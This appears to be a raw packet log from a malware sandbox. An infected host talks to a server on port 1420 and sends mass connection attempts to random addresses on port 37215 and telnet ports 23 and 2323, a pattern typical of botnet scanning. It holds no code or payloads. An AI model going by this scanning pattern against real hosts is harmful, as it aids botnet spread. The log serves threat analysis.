Nov 3, 2024 15:37:07.461658955 CET	35945	37215	192.168.2.14	197.252.165.31
Nov 3, 2024 15:37:07.461663008 CET	37215	35945	41.190.222.135	192.168.2.14
Nov 3, 2024 15:37:07.461671114 CET	37215	35945	197.20.123.178	192.168.2.14
Nov 3, 2024 15:37:07.461678982 CET	37215	35945	41.148.217.53	192.168.2.14
Nov 3, 2024 15:37:07.461687088 CET	37215	35945	197.11.47.234	192.168.2.14
Nov 3, 2024 15:37:07.461688042 CET	35945	37215	192.168.2.14	41.190.222.135
Nov 3, 2024 15:37:07.461693048 CET	35945	37215	192.168.2.14	197.186.99.208
Nov 3, 2024 15:37:07.461695910 CET	37215	35945	41.140.153.229	192.168.2.14
Nov 3, 2024 15:37:07.461704969 CET	35945	37215	192.168.2.14	197.20.123.178
Nov 3, 2024 15:37:07.461705923 CET	37215	35945	197.196.118.179	192.168.2.14
Nov 3, 2024 15:37:07.461708069 CET	35945	37215	192.168.2.14	41.148.217.53
Nov 3, 2024 15:37:07.461715937 CET	35945	37215	192.168.2.14	197.11.47.234
Nov 3, 2024 15:37:07.461723089 CET	35945	37215	192.168.2.14	41.140.153.229
Nov 3, 2024 15:37:07.461731911 CET	35945	37215	192.168.2.14	197.196.118.179
Nov 3, 2024 15:37:07.461914062 CET	37215	35945	197.194.119.94	192.168.2.14
Nov 3, 2024 15:37:07.461925030 CET	37215	35945	156.103.215.3	192.168.2.14
Nov 3, 2024 15:37:07.461934090 CET	37215	35945	156.204.10.146	192.168.2.14
Nov 3, 2024 15:37:07.461944103 CET	37215	35945	156.93.29.97	192.168.2.14
Nov 3, 2024 15:37:07.461951971 CET	37215	35945	156.231.86.227	192.168.2.14
Nov 3, 2024 15:37:07.461952925 CET	35945	37215	192.168.2.14	197.194.119.94
Nov 3, 2024 15:37:07.461955070 CET	35945	37215	192.168.2.14	156.103.215.3
Nov 3, 2024 15:37:07.461961031 CET	37215	35945	156.124.145.107	192.168.2.14
Nov 3, 2024 15:37:07.461965084 CET	35945	37215	192.168.2.14	156.93.29.97
Nov 3, 2024 15:37:07.461966991 CET	35945	37215	192.168.2.14	156.204.10.146
Nov 3, 2024 15:37:07.461971045 CET	37215	35945	41.248.31.199	192.168.2.14
Nov 3, 2024 15:37:07.461980104 CET	37215	35945	41.5.159.61	192.168.2.14
Nov 3, 2024 15:37:07.461983919 CET	35945	37215	192.168.2.14	156.124.145.107
Nov 3, 2024 15:37:07.461987972 CET	35945	37215	192.168.2.14	156.231.86.227
Nov 3, 2024 15:37:07.461987972 CET	37215	35945	156.80.213.176	192.168.2.14
Nov 3, 2024 15:37:07.461993933 CET	35945	37215	192.168.2.14	41.248.31.199
Nov 3, 2024 15:37:07.461997032 CET	37215	35945	156.114.122.80	192.168.2.14
Nov 3, 2024 15:37:07.462008953 CET	37215	35945	41.35.97.70	192.168.2.14
Nov 3, 2024 15:37:07.462013960 CET	35945	37215	192.168.2.14	41.5.159.61
Nov 3, 2024 15:37:07.462013960 CET	35945	37215	192.168.2.14	156.80.213.176
Nov 3, 2024 15:37:07.462023020 CET	37215	35945	41.245.240.18	192.168.2.14
Nov 3, 2024 15:37:07.462025881 CET	35945	37215	192.168.2.14	156.114.122.80
Nov 3, 2024 15:37:07.462032080 CET	37215	35945	41.100.45.82	192.168.2.14
Nov 3, 2024 15:37:07.462040901 CET	35945	37215	192.168.2.14	41.35.97.70
Nov 3, 2024 15:37:07.462048054 CET	35945	37215	192.168.2.14	41.100.45.82
Nov 3, 2024 15:37:07.462052107 CET	37215	35945	197.200.196.215	192.168.2.14
Nov 3, 2024 15:37:07.462063074 CET	35945	37215	192.168.2.14	41.245.240.18
Nov 3, 2024 15:37:07.462086916 CET	35945	37215	192.168.2.14	197.200.196.215
Nov 3, 2024 15:37:07.462105989 CET	37215	35945	41.243.131.47	192.168.2.14
Nov 3, 2024 15:37:07.462116003 CET	37215	35945	197.211.2.92	192.168.2.14
Nov 3, 2024 15:37:07.462124109 CET	37215	35945	156.20.32.248	192.168.2.14
Nov 3, 2024 15:37:07.462131977 CET	37215	35945	41.61.143.93	192.168.2.14
Nov 3, 2024 15:37:07.462141037 CET	37215	35945	41.104.14.24	192.168.2.14
Nov 3, 2024 15:37:07.462142944 CET	35945	37215	192.168.2.14	41.243.131.47
Nov 3, 2024 15:37:07.462143898 CET	35945	37215	192.168.2.14	197.211.2.92
Nov 3, 2024 15:37:07.462146997 CET	35945	37215	192.168.2.14	156.20.32.248
Nov 3, 2024 15:37:07.462151051 CET	37215	35945	156.104.202.123	192.168.2.14
Nov 3, 2024 15:37:07.462153912 CET	35945	37215	192.168.2.14	41.61.143.93
Nov 3, 2024 15:37:07.462160110 CET	37215	35945	41.249.32.72	192.168.2.14
Nov 3, 2024 15:37:07.462169886 CET	37215	35945	197.14.235.174	192.168.2.14
Nov 3, 2024 15:37:07.462173939 CET	35945	37215	192.168.2.14	41.104.14.24
Nov 3, 2024 15:37:07.462174892 CET	35945	37215	192.168.2.14	156.104.202.123
Nov 3, 2024 15:37:07.462177992 CET	37215	35945	41.13.155.174	192.168.2.14
Nov 3, 2024 15:37:07.462189913 CET	35945	37215	192.168.2.14	41.249.32.72
Nov 3, 2024 15:37:07.462192059 CET	37215	35945	41.201.92.106	192.168.2.14
Nov 3, 2024 15:37:07.462198019 CET	35945	37215	192.168.2.14	197.14.235.174
Nov 3, 2024 15:37:07.462205887 CET	35945	37215	192.168.2.14	41.13.155.174
Nov 3, 2024 15:37:07.462212086 CET	37215	35945	156.176.112.196	192.168.2.14
Nov 3, 2024 15:37:07.462224960 CET	35945	37215	192.168.2.14	41.201.92.106
Nov 3, 2024 15:37:07.462236881 CET	35945	37215	192.168.2.14	156.176.112.196
Nov 3, 2024 15:37:07.462322950 CET	37215	35945	156.123.181.8	192.168.2.14
Nov 3, 2024 15:37:07.462332010 CET	37215	35945	197.125.20.110	192.168.2.14
Nov 3, 2024 15:37:07.462340117 CET	37215	35945	156.113.208.90	192.168.2.14
Nov 3, 2024 15:37:07.462346077 CET	35945	37215	192.168.2.14	156.123.181.8
Nov 3, 2024 15:37:07.462353945 CET	37215	35945	197.56.85.74	192.168.2.14
Nov 3, 2024 15:37:07.462363958 CET	37215	35945	41.119.127.187	192.168.2.14
Nov 3, 2024 15:37:07.462367058 CET	35945	37215	192.168.2.14	156.113.208.90
Nov 3, 2024 15:37:07.462367058 CET	35945	37215	192.168.2.14	197.125.20.110
Nov 3, 2024 15:37:07.462372065 CET	37215	35945	156.203.94.50	192.168.2.14
Nov 3, 2024 15:37:07.462380886 CET	37215	35945	197.108.93.31	192.168.2.14
Nov 3, 2024 15:37:07.462383032 CET	35945	37215	192.168.2.14	197.56.85.74
Nov 3, 2024 15:37:07.462389946 CET	37215	35945	41.143.49.85	192.168.2.14
Nov 3, 2024 15:37:07.462389946 CET	35945	37215	192.168.2.14	41.119.127.187
Nov 3, 2024 15:37:07.462397099 CET	35945	37215	192.168.2.14	156.203.94.50
Nov 3, 2024 15:37:07.462399006 CET	37215	35945	41.13.55.125	192.168.2.14
Nov 3, 2024 15:37:07.462408066 CET	35945	37215	192.168.2.14	197.108.93.31
Nov 3, 2024 15:37:07.462414980 CET	37215	35945	197.111.238.222	192.168.2.14
Nov 3, 2024 15:37:07.462414980 CET	35945	37215	192.168.2.14	41.143.49.85
Nov 3, 2024 15:37:07.462424994 CET	37215	35945	197.146.115.204	192.168.2.14
Nov 3, 2024 15:37:07.462425947 CET	35945	37215	192.168.2.14	41.13.55.125
Nov 3, 2024 15:37:07.462441921 CET	35945	37215	192.168.2.14	197.111.238.222
Nov 3, 2024 15:37:07.462444067 CET	37215	35945	41.91.22.90	192.168.2.14
Nov 3, 2024 15:37:07.462450981 CET	35945	37215	192.168.2.14	197.146.115.204
Nov 3, 2024 15:37:07.462460041 CET	37215	35945	197.69.230.161	192.168.2.14
Nov 3, 2024 15:37:07.462469101 CET	37215	35945	156.169.248.225	192.168.2.14
Nov 3, 2024 15:37:07.462476969 CET	37215	35945	197.145.223.181	192.168.2.14
Nov 3, 2024 15:37:07.462477922 CET	35945	37215	192.168.2.14	41.91.22.90
Nov 3, 2024 15:37:07.462486029 CET	37215	35945	156.53.155.22	192.168.2.14
Nov 3, 2024 15:37:07.462490082 CET	35945	37215	192.168.2.14	197.69.230.161
Nov 3, 2024 15:37:07.462493896 CET	35945	37215	192.168.2.14	197.145.223.181
Nov 3, 2024 15:37:07.462496042 CET	35945	37215	192.168.2.14	156.169.248.225
Nov 3, 2024 15:37:07.462502956 CET	37215	35945	156.179.148.32	192.168.2.14
Nov 3, 2024 15:37:07.462512016 CET	37215	35945	197.132.46.247	192.168.2.14
Nov 3, 2024 15:37:07.462513924 CET	35945	37215	192.168.2.14	156.53.155.22
Nov 3, 2024 15:37:07.462521076 CET	37215	35945	197.27.232.118	192.168.2.14
Nov 3, 2024 15:37:07.462528944 CET	37215	35945	41.139.236.198	192.168.2.14
Nov 3, 2024 15:37:07.462531090 CET	35945	37215	192.168.2.14	156.179.148.32
Nov 3, 2024 15:37:07.462537050 CET	37215	35945	41.91.137.154	192.168.2.14
Nov 3, 2024 15:37:07.462544918 CET	37215	35945	156.200.109.224	192.168.2.14
Nov 3, 2024 15:37:07.462546110 CET	35945	37215	192.168.2.14	197.132.46.247
Nov 3, 2024 15:37:07.462547064 CET	35945	37215	192.168.2.14	41.139.236.198
Nov 3, 2024 15:37:07.462549925 CET	35945	37215	192.168.2.14	197.27.232.118
Nov 3, 2024 15:37:07.462552071 CET	35945	37215	192.168.2.14	41.91.137.154
Nov 3, 2024 15:37:07.462554932 CET	37215	35945	197.69.84.140	192.168.2.14
Nov 3, 2024 15:37:07.462563038 CET	37215	35945	41.94.87.15	192.168.2.14
Nov 3, 2024 15:37:07.462572098 CET	37215	35945	41.5.141.255	192.168.2.14
Nov 3, 2024 15:37:07.462580919 CET	37215	35945	156.247.161.163	192.168.2.14
Nov 3, 2024 15:37:07.462589025 CET	37215	35945	156.166.221.134	192.168.2.14
Nov 3, 2024 15:37:07.462589979 CET	35945	37215	192.168.2.14	197.69.84.140
Nov 3, 2024 15:37:07.462589979 CET	35945	37215	192.168.2.14	156.200.109.224
Nov 3, 2024 15:37:07.462594986 CET	35945	37215	192.168.2.14	41.94.87.15
Nov 3, 2024 15:37:07.462594986 CET	35945	37215	192.168.2.14	41.5.141.255
Nov 3, 2024 15:37:07.462596893 CET	37215	35945	41.165.45.152	192.168.2.14
Nov 3, 2024 15:37:07.462605953 CET	37215	35945	41.241.155.244	192.168.2.14
Nov 3, 2024 15:37:07.462606907 CET	35945	37215	192.168.2.14	156.247.161.163
Nov 3, 2024 15:37:07.462614059 CET	35945	37215	192.168.2.14	156.166.221.134
Nov 3, 2024 15:37:07.462624073 CET	35945	37215	192.168.2.14	41.165.45.152
Nov 3, 2024 15:37:07.462624073 CET	35945	37215	192.168.2.14	41.241.155.244
Nov 3, 2024 15:37:07.462652922 CET	37215	35945	156.151.233.91	192.168.2.14
Nov 3, 2024 15:37:07.462662935 CET	37215	35945	197.246.238.208	192.168.2.14
Nov 3, 2024 15:37:07.462671995 CET	37215	35945	41.201.93.43	192.168.2.14
Nov 3, 2024 15:37:07.462682009 CET	37215	35945	41.6.80.42	192.168.2.14
Nov 3, 2024 15:37:07.462690115 CET	35945	37215	192.168.2.14	156.151.233.91
Nov 3, 2024 15:37:07.462690115 CET	37215	35945	156.237.12.24	192.168.2.14
Nov 3, 2024 15:37:07.462691069 CET	35945	37215	192.168.2.14	197.246.238.208
Nov 3, 2024 15:37:07.462694883 CET	37215	35945	156.129.25.255	192.168.2.14
Nov 3, 2024 15:37:07.462698936 CET	37215	35945	41.65.254.111	192.168.2.14
Nov 3, 2024 15:37:07.462704897 CET	35945	37215	192.168.2.14	41.201.93.43
Nov 3, 2024 15:37:07.462707996 CET	37215	35945	156.186.68.249	192.168.2.14
Nov 3, 2024 15:37:07.462717056 CET	37215	35945	156.59.3.251	192.168.2.14
Nov 3, 2024 15:37:07.462724924 CET	35945	37215	192.168.2.14	156.129.25.255
Nov 3, 2024 15:37:07.462724924 CET	35945	37215	192.168.2.14	41.65.254.111
Nov 3, 2024 15:37:07.462726116 CET	37215	35945	41.141.136.248	192.168.2.14
Nov 3, 2024 15:37:07.462727070 CET	35945	37215	192.168.2.14	156.237.12.24
Nov 3, 2024 15:37:07.462728977 CET	35945	37215	192.168.2.14	41.6.80.42
Nov 3, 2024 15:37:07.462733030 CET	35945	37215	192.168.2.14	156.186.68.249
Nov 3, 2024 15:37:07.462737083 CET	37215	35945	41.246.191.43	192.168.2.14
Nov 3, 2024 15:37:07.462739944 CET	35945	37215	192.168.2.14	156.59.3.251
Nov 3, 2024 15:37:07.462747097 CET	37215	35945	156.192.123.167	192.168.2.14
Nov 3, 2024 15:37:07.462755919 CET	35945	37215	192.168.2.14	41.141.136.248
Nov 3, 2024 15:37:07.462769985 CET	35945	37215	192.168.2.14	41.246.191.43
Nov 3, 2024 15:37:07.462769985 CET	35945	37215	192.168.2.14	156.192.123.167
Nov 3, 2024 15:37:07.462867022 CET	37215	35945	41.128.19.211	192.168.2.14
Nov 3, 2024 15:37:07.462877035 CET	37215	35945	41.37.12.196	192.168.2.14
Nov 3, 2024 15:37:07.462884903 CET	37215	35945	197.145.103.148	192.168.2.14
Nov 3, 2024 15:37:07.462898970 CET	35945	37215	192.168.2.14	41.128.19.211
Nov 3, 2024 15:37:07.462902069 CET	35945	37215	192.168.2.14	41.37.12.196
Nov 3, 2024 15:37:07.462910891 CET	35945	37215	192.168.2.14	197.145.103.148
Nov 3, 2024 15:37:07.462951899 CET	37215	35945	156.254.89.146	192.168.2.14
Nov 3, 2024 15:37:07.462960958 CET	37215	35945	41.13.191.151	192.168.2.14
Nov 3, 2024 15:37:07.462970018 CET	37215	35945	156.78.180.35	192.168.2.14
Nov 3, 2024 15:37:07.462977886 CET	37215	35945	197.60.224.200	192.168.2.14
Nov 3, 2024 15:37:07.462989092 CET	35945	37215	192.168.2.14	156.254.89.146
Nov 3, 2024 15:37:07.462994099 CET	35945	37215	192.168.2.14	41.13.191.151
Nov 3, 2024 15:37:07.462995052 CET	37215	35945	197.189.3.28	192.168.2.14
Nov 3, 2024 15:37:07.463001013 CET	35945	37215	192.168.2.14	156.78.180.35
Nov 3, 2024 15:37:07.463005066 CET	37215	35945	41.159.146.78	192.168.2.14
Nov 3, 2024 15:37:07.463010073 CET	35945	37215	192.168.2.14	197.60.224.200
Nov 3, 2024 15:37:07.463030100 CET	35945	37215	192.168.2.14	197.189.3.28
Nov 3, 2024 15:37:07.463030100 CET	35945	37215	192.168.2.14	41.159.146.78
Nov 3, 2024 15:37:07.463181973 CET	37215	35945	197.214.75.97	192.168.2.14
Nov 3, 2024 15:37:07.463192940 CET	37215	35945	156.136.33.48	192.168.2.14
Nov 3, 2024 15:37:07.463202000 CET	37215	35945	197.134.141.77	192.168.2.14
Nov 3, 2024 15:37:07.463211060 CET	37215	35945	41.242.166.30	192.168.2.14
Nov 3, 2024 15:37:07.463217974 CET	35945	37215	192.168.2.14	156.136.33.48
Nov 3, 2024 15:37:07.463218927 CET	37215	35945	41.162.153.232	192.168.2.14
Nov 3, 2024 15:37:07.463218927 CET	35945	37215	192.168.2.14	197.214.75.97
Nov 3, 2024 15:37:07.463227987 CET	35945	37215	192.168.2.14	197.134.141.77
Nov 3, 2024 15:37:07.463233948 CET	35945	37215	192.168.2.14	41.242.166.30
Nov 3, 2024 15:37:07.463238001 CET	37215	35945	197.211.237.0	192.168.2.14
Nov 3, 2024 15:37:07.463248014 CET	37215	35945	156.122.63.138	192.168.2.14
Nov 3, 2024 15:37:07.463253021 CET	35945	37215	192.168.2.14	41.162.153.232
Nov 3, 2024 15:37:07.463258028 CET	37215	35945	197.153.206.192	192.168.2.14
Nov 3, 2024 15:37:07.463268042 CET	35945	37215	192.168.2.14	197.211.237.0
Nov 3, 2024 15:37:07.463268042 CET	37215	35945	156.247.143.33	192.168.2.14
Nov 3, 2024 15:37:07.463274002 CET	35945	37215	192.168.2.14	156.122.63.138
Nov 3, 2024 15:37:07.463280916 CET	37215	35945	197.13.41.209	192.168.2.14
Nov 3, 2024 15:37:07.463283062 CET	35945	37215	192.168.2.14	197.153.206.192
Nov 3, 2024 15:37:07.463289022 CET	37215	35945	156.69.180.124	192.168.2.14
Nov 3, 2024 15:37:07.463299036 CET	37215	35945	41.75.84.77	192.168.2.14
Nov 3, 2024 15:37:07.463299036 CET	35945	37215	192.168.2.14	156.247.143.33
Nov 3, 2024 15:37:07.463306904 CET	37215	35945	41.116.47.173	192.168.2.14
Nov 3, 2024 15:37:07.463308096 CET	35945	37215	192.168.2.14	197.13.41.209
Nov 3, 2024 15:37:07.463330984 CET	35945	37215	192.168.2.14	156.69.180.124
Nov 3, 2024 15:37:07.463332891 CET	35945	37215	192.168.2.14	41.75.84.77
Nov 3, 2024 15:37:07.463340044 CET	35945	37215	192.168.2.14	41.116.47.173
Nov 3, 2024 15:37:07.463502884 CET	37215	35945	41.86.84.245	192.168.2.14
Nov 3, 2024 15:37:07.463512897 CET	37215	35945	41.63.70.60	192.168.2.14
Nov 3, 2024 15:37:07.463521004 CET	37215	35945	156.33.33.215	192.168.2.14
Nov 3, 2024 15:37:07.463529110 CET	37215	35945	197.4.80.223	192.168.2.14
Nov 3, 2024 15:37:07.463534117 CET	35945	37215	192.168.2.14	41.86.84.245
Nov 3, 2024 15:37:07.463536978 CET	35945	37215	192.168.2.14	41.63.70.60
Nov 3, 2024 15:37:07.463546038 CET	35945	37215	192.168.2.14	156.33.33.215
Nov 3, 2024 15:37:07.463552952 CET	37215	35945	156.63.150.39	192.168.2.14
Nov 3, 2024 15:37:07.463558912 CET	35945	37215	192.168.2.14	197.4.80.223
Nov 3, 2024 15:37:07.463567019 CET	37215	35945	41.117.104.219	192.168.2.14
Nov 3, 2024 15:37:07.463574886 CET	37215	35945	156.108.137.121	192.168.2.14
Nov 3, 2024 15:37:07.463581085 CET	35945	37215	192.168.2.14	156.63.150.39
Nov 3, 2024 15:37:07.463586092 CET	35945	37215	192.168.2.14	41.117.104.219
Nov 3, 2024 15:37:07.463588953 CET	37215	35945	156.40.56.40	192.168.2.14
Nov 3, 2024 15:37:07.463598013 CET	35945	37215	192.168.2.14	156.108.137.121
Nov 3, 2024 15:37:07.463613987 CET	37215	35945	156.255.91.109	192.168.2.14
Nov 3, 2024 15:37:07.463620901 CET	35945	37215	192.168.2.14	156.40.56.40
Nov 3, 2024 15:37:07.463634968 CET	37215	35945	197.36.85.51	192.168.2.14
Nov 3, 2024 15:37:07.463644981 CET	37215	35945	197.70.248.235	192.168.2.14
Nov 3, 2024 15:37:07.463648081 CET	35945	37215	192.168.2.14	156.255.91.109
Nov 3, 2024 15:37:07.463654041 CET	37215	35945	156.249.26.125	192.168.2.14
Nov 3, 2024 15:37:07.463663101 CET	37215	35945	41.86.204.132	192.168.2.14
Nov 3, 2024 15:37:07.463670969 CET	37215	35945	156.69.132.171	192.168.2.14
Nov 3, 2024 15:37:07.463674068 CET	35945	37215	192.168.2.14	197.70.248.235
Nov 3, 2024 15:37:07.463675976 CET	35945	37215	192.168.2.14	197.36.85.51
Nov 3, 2024 15:37:07.463680029 CET	37215	35945	197.98.102.132	192.168.2.14
Nov 3, 2024 15:37:07.463680983 CET	35945	37215	192.168.2.14	156.249.26.125
Nov 3, 2024 15:37:07.463690996 CET	35945	37215	192.168.2.14	41.86.204.132
Nov 3, 2024 15:37:07.463697910 CET	35945	37215	192.168.2.14	156.69.132.171
Nov 3, 2024 15:37:07.463699102 CET	37215	35945	156.239.191.28	192.168.2.14
Nov 3, 2024 15:37:07.463706017 CET	35945	37215	192.168.2.14	197.98.102.132
Nov 3, 2024 15:37:07.463715076 CET	37215	35945	197.69.79.224	192.168.2.14
Nov 3, 2024 15:37:07.463723898 CET	37215	35945	41.76.164.50	192.168.2.14
Nov 3, 2024 15:37:07.463731050 CET	35945	37215	192.168.2.14	156.239.191.28
Nov 3, 2024 15:37:07.463732004 CET	37215	35945	156.18.162.2	192.168.2.14
Nov 3, 2024 15:37:07.463741064 CET	37215	35945	41.205.9.169	192.168.2.14
Nov 3, 2024 15:37:07.463747978 CET	35945	37215	192.168.2.14	197.69.79.224
Nov 3, 2024 15:37:07.463747978 CET	35945	37215	192.168.2.14	41.76.164.50
Nov 3, 2024 15:37:07.463751078 CET	37215	35945	41.14.12.107	192.168.2.14
Nov 3, 2024 15:37:07.463761091 CET	37215	35945	41.100.33.15	192.168.2.14
Nov 3, 2024 15:37:07.463767052 CET	35945	37215	192.168.2.14	156.18.162.2
Nov 3, 2024 15:37:07.463767052 CET	35945	37215	192.168.2.14	41.205.9.169
Nov 3, 2024 15:37:07.463768959 CET	37215	35945	156.55.4.75	192.168.2.14
Nov 3, 2024 15:37:07.463777065 CET	35945	37215	192.168.2.14	41.14.12.107
Nov 3, 2024 15:37:07.463785887 CET	35945	37215	192.168.2.14	41.100.33.15
Nov 3, 2024 15:37:07.463805914 CET	35945	37215	192.168.2.14	156.55.4.75
Nov 3, 2024 15:37:07.465066910 CET	1420	32934	198.12.107.126	192.168.2.14
Nov 3, 2024 15:37:07.465125084 CET	32934	1420	192.168.2.14	198.12.107.126
Nov 3, 2024 15:37:07.465164900 CET	32934	1420	192.168.2.14	198.12.107.126
Nov 3, 2024 15:37:07.470201969 CET	1420	32934	198.12.107.126	192.168.2.14
Nov 3, 2024 15:37:07.470244884 CET	32934	1420	192.168.2.14	198.12.107.126
Nov 3, 2024 15:37:07.475147963 CET	1420	32934	198.12.107.126	192.168.2.14
Nov 3, 2024 15:37:08.380775928 CET	1420	32934	198.12.107.126	192.168.2.14
Nov 3, 2024 15:37:08.380975962 CET	32934	1420	192.168.2.14	198.12.107.126
Nov 3, 2024 15:37:08.380975962 CET	32934	1420	192.168.2.14	198.12.107.126
Nov 3, 2024 15:37:08.388021946 CET	32936	1420	192.168.2.14	198.12.107.126
Nov 3, 2024 15:37:08.392873049 CET	1420	32936	198.12.107.126	192.168.2.14
Nov 3, 2024 15:37:08.392924070 CET	32936	1420	192.168.2.14	198.12.107.126
Nov 3, 2024 15:37:08.392939091 CET	32936	1420	192.168.2.14	198.12.107.126
Nov 3, 2024 15:37:08.397732019 CET	1420	32936	198.12.107.126	192.168.2.14
Nov 3, 2024 15:37:08.397773981 CET	32936	1420	192.168.2.14	198.12.107.126
Nov 3, 2024 15:37:08.402573109 CET	1420	32936	198.12.107.126	192.168.2.14
Nov 3, 2024 15:37:08.450927019 CET	36201	23	192.168.2.14	125.0.133.66
Nov 3, 2024 15:37:08.450927019 CET	36201	2323	192.168.2.14	112.206.38.156
Nov 3, 2024 15:37:08.450927019 CET	36201	23	192.168.2.14	32.187.244.24
Nov 3, 2024 15:37:08.450927019 CET	36201	23	192.168.2.14	45.231.58.164
Nov 3, 2024 15:37:08.450931072 CET	36201	23	192.168.2.14	117.97.87.124
Nov 3, 2024 15:37:08.450931072 CET	36201	23	192.168.2.14	188.114.112.58
Nov 3, 2024 15:37:08.450931072 CET	36201	23	192.168.2.14	18.41.119.234
Nov 3, 2024 15:37:08.450931072 CET	36201	23	192.168.2.14	221.36.81.142
Nov 3, 2024 15:37:08.450931072 CET	36201	23	192.168.2.14	171.116.23.198
Nov 3, 2024 15:37:08.450932980 CET	36201	23	192.168.2.14	111.55.156.137
Nov 3, 2024 15:37:08.450931072 CET	36201	23	192.168.2.14	98.214.224.255
Nov 3, 2024 15:37:08.450932980 CET	36201	23	192.168.2.14	106.120.181.251
Nov 3, 2024 15:37:08.450931072 CET	36201	23	192.168.2.14	185.229.51.108
Nov 3, 2024 15:37:08.450931072 CET	36201	2323	192.168.2.14	36.102.147.195
Nov 3, 2024 15:37:08.450931072 CET	36201	23	192.168.2.14	184.172.108.42
Nov 3, 2024 15:37:08.450937033 CET	36201	23	192.168.2.14	116.173.195.182
Nov 3, 2024 15:37:08.450937033 CET	36201	23	192.168.2.14	167.93.234.4
Nov 3, 2024 15:37:08.450932980 CET	36201	23	192.168.2.14	64.255.90.248
Nov 3, 2024 15:37:08.450937033 CET	36201	23	192.168.2.14	174.71.177.228
Nov 3, 2024 15:37:08.450937033 CET	36201	23	192.168.2.14	103.199.50.51
Nov 3, 2024 15:37:08.450931072 CET	36201	23	192.168.2.14	68.11.238.41
Nov 3, 2024 15:37:08.450937033 CET	36201	23	192.168.2.14	219.140.200.161
Nov 3, 2024 15:37:08.450932980 CET	36201	23	192.168.2.14	138.224.128.103
Nov 3, 2024 15:37:08.450937033 CET	36201	23	192.168.2.14	86.41.198.142
Nov 3, 2024 15:37:08.450937033 CET	36201	23	192.168.2.14	98.20.98.243
Nov 3, 2024 15:37:08.450937033 CET	36201	23	192.168.2.14	167.8.109.15
Nov 3, 2024 15:37:08.450937033 CET	36201	2323	192.168.2.14	111.135.50.133
Nov 3, 2024 15:37:08.450937033 CET	36201	23	192.168.2.14	124.107.215.119
Nov 3, 2024 15:37:08.450932980 CET	36201	23	192.168.2.14	8.169.107.252
Nov 3, 2024 15:37:08.450937033 CET	36201	23	192.168.2.14	67.192.238.134
Nov 3, 2024 15:37:08.450937033 CET	36201	23	192.168.2.14	194.249.42.154
Nov 3, 2024 15:37:08.450937033 CET	36201	23	192.168.2.14	169.15.116.212
Nov 3, 2024 15:37:08.450933933 CET	36201	23	192.168.2.14	24.92.79.202
Nov 3, 2024 15:37:08.450937033 CET	36201	23	192.168.2.14	213.141.177.254
Nov 3, 2024 15:37:08.450937033 CET	36201	23	192.168.2.14	111.110.74.148
Nov 3, 2024 15:37:08.450937033 CET	36201	23	192.168.2.14	20.137.162.202
Nov 3, 2024 15:37:08.450937033 CET	36201	23	192.168.2.14	31.92.95.5
Nov 3, 2024 15:37:08.450937033 CET	36201	23	192.168.2.14	75.58.110.245
Nov 3, 2024 15:37:08.450937033 CET	36201	23	192.168.2.14	101.237.226.193
Nov 3, 2024 15:37:08.450937033 CET	36201	23	192.168.2.14	165.185.10.37
Nov 3, 2024 15:37:08.450933933 CET	36201	23	192.168.2.14	79.39.46.140
Nov 3, 2024 15:37:08.450937033 CET	36201	23	192.168.2.14	191.165.69.187
Nov 3, 2024 15:37:08.450937033 CET	36201	23	192.168.2.14	45.138.252.123
Nov 3, 2024 15:37:08.450937033 CET	36201	23	192.168.2.14	42.250.157.152
Nov 3, 2024 15:37:08.451023102 CET	36201	23	192.168.2.14	164.241.218.237
Nov 3, 2024 15:37:08.451023102 CET	36201	23	192.168.2.14	194.150.80.127
Nov 3, 2024 15:37:08.451023102 CET	36201	23	192.168.2.14	57.53.243.221
Nov 3, 2024 15:37:08.451023102 CET	36201	23	192.168.2.14	66.173.17.211
Nov 3, 2024 15:37:08.451023102 CET	36201	23	192.168.2.14	101.137.4.156
Nov 3, 2024 15:37:08.451023102 CET	36201	23	192.168.2.14	9.1.187.162
Nov 3, 2024 15:37:08.451023102 CET	36201	23	192.168.2.14	151.171.199.179
Nov 3, 2024 15:37:08.451023102 CET	36201	23	192.168.2.14	40.214.49.137
Nov 3, 2024 15:37:08.451025963 CET	36201	23	192.168.2.14	201.12.88.245
Nov 3, 2024 15:37:08.451025963 CET	36201	2323	192.168.2.14	152.81.80.242
Nov 3, 2024 15:37:08.451025963 CET	36201	23	192.168.2.14	161.1.233.190
Nov 3, 2024 15:37:08.451025963 CET	36201	23	192.168.2.14	182.215.1.119
Nov 3, 2024 15:37:08.451025963 CET	36201	23	192.168.2.14	83.55.127.80
Nov 3, 2024 15:37:08.451025963 CET	36201	23	192.168.2.14	125.103.160.235
Nov 3, 2024 15:37:08.451025963 CET	36201	2323	192.168.2.14	90.74.165.178
Nov 3, 2024 15:37:08.451028109 CET	36201	23	192.168.2.14	126.5.209.6
Nov 3, 2024 15:37:08.451025963 CET	36201	23	192.168.2.14	94.68.223.185
Nov 3, 2024 15:37:08.451025963 CET	36201	23	192.168.2.14	164.25.189.129
Nov 3, 2024 15:37:08.451030970 CET	36201	23	192.168.2.14	174.142.135.178
Nov 3, 2024 15:37:08.451025963 CET	36201	23	192.168.2.14	158.28.112.231
Nov 3, 2024 15:37:08.451028109 CET	36201	23	192.168.2.14	27.24.50.220
Nov 3, 2024 15:37:08.451025963 CET	36201	23	192.168.2.14	122.95.112.177
Nov 3, 2024 15:37:08.451030970 CET	36201	23	192.168.2.14	223.21.88.231
Nov 3, 2024 15:37:08.451028109 CET	36201	23	192.168.2.14	77.69.8.80
Nov 3, 2024 15:37:08.451025963 CET	36201	2323	192.168.2.14	221.127.72.70
Nov 3, 2024 15:37:08.451036930 CET	36201	23	192.168.2.14	121.235.121.15
Nov 3, 2024 15:37:08.451028109 CET	36201	23	192.168.2.14	186.97.125.58
Nov 3, 2024 15:37:08.451036930 CET	36201	23	192.168.2.14	105.185.136.87
Nov 3, 2024 15:37:08.451028109 CET	36201	2323	192.168.2.14	141.210.217.128
Nov 3, 2024 15:37:08.451036930 CET	36201	23	192.168.2.14	63.51.136.200
Nov 3, 2024 15:37:08.451028109 CET	36201	23	192.168.2.14	47.197.63.54
Nov 3, 2024 15:37:08.451037884 CET	36201	23	192.168.2.14	89.236.9.189
Nov 3, 2024 15:37:08.451028109 CET	36201	23	192.168.2.14	118.3.63.124
Nov 3, 2024 15:37:08.451037884 CET	36201	23	192.168.2.14	170.150.172.77
Nov 3, 2024 15:37:08.451028109 CET	36201	23	192.168.2.14	216.86.72.247
Nov 3, 2024 15:37:08.451037884 CET	36201	23	192.168.2.14	107.45.204.123
Nov 3, 2024 15:37:08.451025963 CET	36201	23	192.168.2.14	202.120.82.225
Nov 3, 2024 15:37:08.451037884 CET	36201	23	192.168.2.14	158.219.206.250
Nov 3, 2024 15:37:08.451037884 CET	36201	23	192.168.2.14	178.183.34.155
